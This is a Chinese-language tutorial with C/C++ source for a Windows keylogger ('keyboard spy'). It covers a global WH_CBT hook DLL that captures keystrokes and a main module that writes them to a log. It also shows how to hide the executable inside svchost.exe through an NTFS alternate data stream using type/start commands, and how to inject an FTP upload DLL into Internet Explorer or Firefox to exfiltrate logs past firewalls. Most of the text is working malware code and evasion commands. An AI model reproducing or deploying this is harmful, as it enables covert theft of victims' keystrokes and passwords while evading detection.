一、键盘间谍
键盘间谍由三个部分组成:主模块、钩子程序和FTP模块。主模块安装一个全局WH_CBT钩子程序;钩子程序每当有敲键动作就通知给主模块,主模块负责对键盘事件进行记录;当键盘的日志达到一定的大小后,主模块就运行FTP模块把日志文件传送到FTP服务器。模块之间的通信通过Windows消息进行。
主模块程序如下:
/////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: WndProc(HWND, unsigned, WORD, LONG)
//
// PURPOSE: Processes messages for the main window.
//
// MSG_MY_WM_KEYDOWN - Process an application keystroke
// MSG_MY_WM_SETFOCUS - Process an application keystroke
// MSG_WM_UPLOAD_FILE - Process an FTP Module notification
// WM_DESTROY - post a quit message and return
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
if (message == MSG_MY_WM_KEYDOWN)
return OnInterceptKeyStroke(wParam, lParam);
if (message == MSG_MY_WM_SETFOCUS)
return OnSetKeyboardFocus(wParam, lParam);
if (message == MSG_WM_UPLOAD_FILE)
return OnFileUploaded(wParam, lParam);
switch (message)
{
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
/////////////////////////////////////////////////////////////////////////////
LRESULT OnInterceptKeyStroke(WPARAM wParam, LPARAM lParam)
{
//If we are logging a new application we should print an appropriate header
if (g_hWinInFocus != g_hLastWin)
{
WriteNewAppHeader(g_hWinInFocus);
g_hLastWin = g_hWinInFocus;
}
if (wParam==VK_RETURN || wParam==VK_TAB)
{
WriteToLog('/n');
}
else
{
BYTE keyStateArr[256];
WORD word;
UINT scanCode = lParam;
char ch;
//Translate virtual key code to ascii
GetKeyboardState(keyStateArr);
ToAscii(wParam, scanCode, keyStateArr, &word, 0);
ch = (char) word;
if ((GetKeyState(VK_SHIFT) & 0x8000) && wParam >= 'a' && wParam <= 'z')
ch += 'A'-'a';
WriteToLog(ch);
}
return 0;
}
/////////////////////////////////////////////////////////////////////////////
LRESULT OnSetKeyboardFocus(WPARAM wParam, LPARAM lParam)
{
g_hWinInFocus = (HWND)wParam;
return S_OK;
}
/////////////////////////////////////////////////////////////////////////////
LRESULT OnFileUploaded(WPARAM wParam, LPARAM lParam)
{
//Log file was uploaded succesfully
if (wParam)
{
DeleteFile(g_sSpyLogFileName2);
}
else
{
char temp[255];
FILE* f1=fopen(g_sSpyLogFileName,"rt");
FILE* f2=fopen(g_sSpyLogFileName2,"at");
while (!feof(f1))
{
if (fgets(temp, 255, f1))
{
fputs(temp, f2);
}
}
fclose(f1);
fclose(f2);
MoveFile(g_sSpyLogFileName2, g_sSpyLogFileName);
}
g_isUploading = false;
return S_OK;
}
全局WH_CBT钩子
所谓系统钩子,就是一个用于监视所有运行进程Windows消息的函数,并且它将在Windows消息到达运行进程之前执行。钩子程序用来各种系统事件,比如键盘消息。你可以通过SetWindowsHookEx API函数来安装钩子函数,并用它设定钩子的类型。WH_CBT钩子函数在窗体获取焦点(Get Focus)之前运行,这个时候键盘事件仍然保存在系统消息队列中。而全局钩子将被所有的桌面应用程序调用,所以全局钩子函数必须在一个独立的DLL文件中存在。
DLL共享内存
一个DLL共享内存中的变量就被所有该DLL所有实例共享。在保存钩子函数的DLl中,主模块将把它的窗体句柄保存在DLL共享内存中,以便所有的钩子函数实例给主模块发送消息。以下是钩子函数和共享内存的定义:
//////////////////////////////////////////////////////////////////////////
//Shared memory
#pragma data_seg(".adshared")
HWND g_hSpyWin = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:.adshared,RWS")
//////////////////////////////////////////////////////////////////////////
void CALLBACK SetSpyHwnd (DWORD hwnd)
{
g_hSpyWin = (HWND) hwnd;
}
//////////////////////////////////////////////////////////////////////////
LRESULT CALLBACK HookProc (int nCode, WPARAM wParam, LPARAM lParam )
{
if (nCode == HCBT_KEYSKIPPED && (lParam & 0x40000000))
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||
(wParam==VK_TAB)||(wParam>=0x2f ) &&(wParam<=0x100))
{
::PostMessage(g_hSpyWin, MSG_MY_WM_KEYDOWN, wParam, lParam);
}
}
else if (nCode == HCBT_SETFOCUS)
{
::PostMessage(g_hSpyWin, MSG_MY_WM_SETFOCUS, wParam, lParam);
if (bInjectFtpDll && ::FindWindow(COMM_WIN_CLASS, NULL) == NULL)
{
HINSTANCE hFtpDll;
Init InitFunc;
if (hFtpDll = ::LoadLibrary(FTP_DLL_NAME))
{
if (InitFunc = (Init) ::GetProcAddress (hFtpDll,"Init"))
{
(InitFunc)((DWORD)g_hSpyWin);
}
}
bInjectFtpDll = false;
}
}
return CallNextHookEx( 0, nCode, wParam, lParam);
}
主模块安装钩子的函数:
typedef LRESULT (CALLBACK *HookProc)(int nCode, WPARAM wParam, LPARAM lParam);
typedef void (WINAPI *SetSpyHwnd)(DWORD);
HMODULE g_hHookDll = NULL;
HHOOK g_hHook = NULL;
bool InstallHook(HWND hwnd)
{
SetSpyHwnd SetHwndFunc;
HookProc HookProcFunc;
if (g_hHookDll = LoadLibrary(SPY_DLL_NAME))
{
if (SetHwndFunc = (SetSpyHwnd) ::GetProcAddress (g_hHookDll,"SetSpyHwnd"))
{
//Store Main Module HWND in to the shared memory
(SetHwndFunc)((DWORD)hwnd);
if (HookProcFunc = (HookProc) ::GetProcAddress (g_hHookDll,"HookProc"))
{
if (g_hHook = SetWindowsHookEx(WH_CBT, HookProcFunc, g_hHookDll, 0))
return true;
}
}
}
return false;
}
程序隐藏
由于间谍程序必须隐藏它的痕迹,所以在以下三个地方必须进行隐藏:文件系统、任务管理器和防火墙。
任务管理器中隐藏
NTFS有一个主要特点ADS(Alternate Data Streams),它让用户可以在以存在的文件中创建个人文件的数据,而不会影响该文件本身的功能和大小,以及在像“资源管理器”这样的文件浏览器的显示。使用ADS的文件,几乎不可能通过纯粹的文件浏览技术来侦测。ADS注入可以通过常见的系统命令来完成,比如type。ADS文件执行的时候就像是执行以前的程序一样,类似"任务管理器"这样的进程是无法探知程序变化的。采用这种办法,不但能够隐藏文件,也能够绕过“任务管理器”等进程检测工具。NTFS文件系统本身是不可能保正系统不受到ADS隐藏文件的影响,而且ADS不是可以屏蔽的,目前也无法限制用户不使用该技术。
可以使用以下的命令行,手动启用ADS:
把spy.exe注入到svchost.exe
"type spy.exe > c:/windows/system32/svchost.exe:spy.exe"
执行spy.exe
"start svchost.exe:spy.exe"
防火墙中隐藏
很多防火墙都能够检测和阻止未授权的程序连接internet。主模块使用FTP模块上载日志文件到FTP服务器。防火墙的隐藏就是通过把FTP模块注入到另外一个已安装的应用程序中。DLL注入就是强制让一个进程载入一个它本身并不需要的DLL文件。这里,选择注入FTP模块到Internet Explorer或者FireFox。通过DLL注入能够绕过很多防火墙,尤其是FTP服务器端口是80的。钩子函数DLL文件将在被所有运行进程装载,检测到IE或者FireFox以后就在该进程中载入FTP模块的DLL文件。由于在DllMain中不允许调用LoadLibrary(译者注:其实不是不允许调用,只是不推荐而已,为了避免出现DLL之间的依赖性循环),所以在DllMain中设置了一个布尔量,以便判断是否在钩子函数中LoadLibrary。
钩子DLl的DllMain函数:
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
char processName[255];
GetModuleFileName(GetModuleHandle( NULL ),
processName, sizeof(processName) );
strcpy(processName, _strlwr(processName));
if (strstr(processName, "iexplore.exe") ||
strstr(processName, "firefox.exe"))
bInjectFtpDll = true;
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}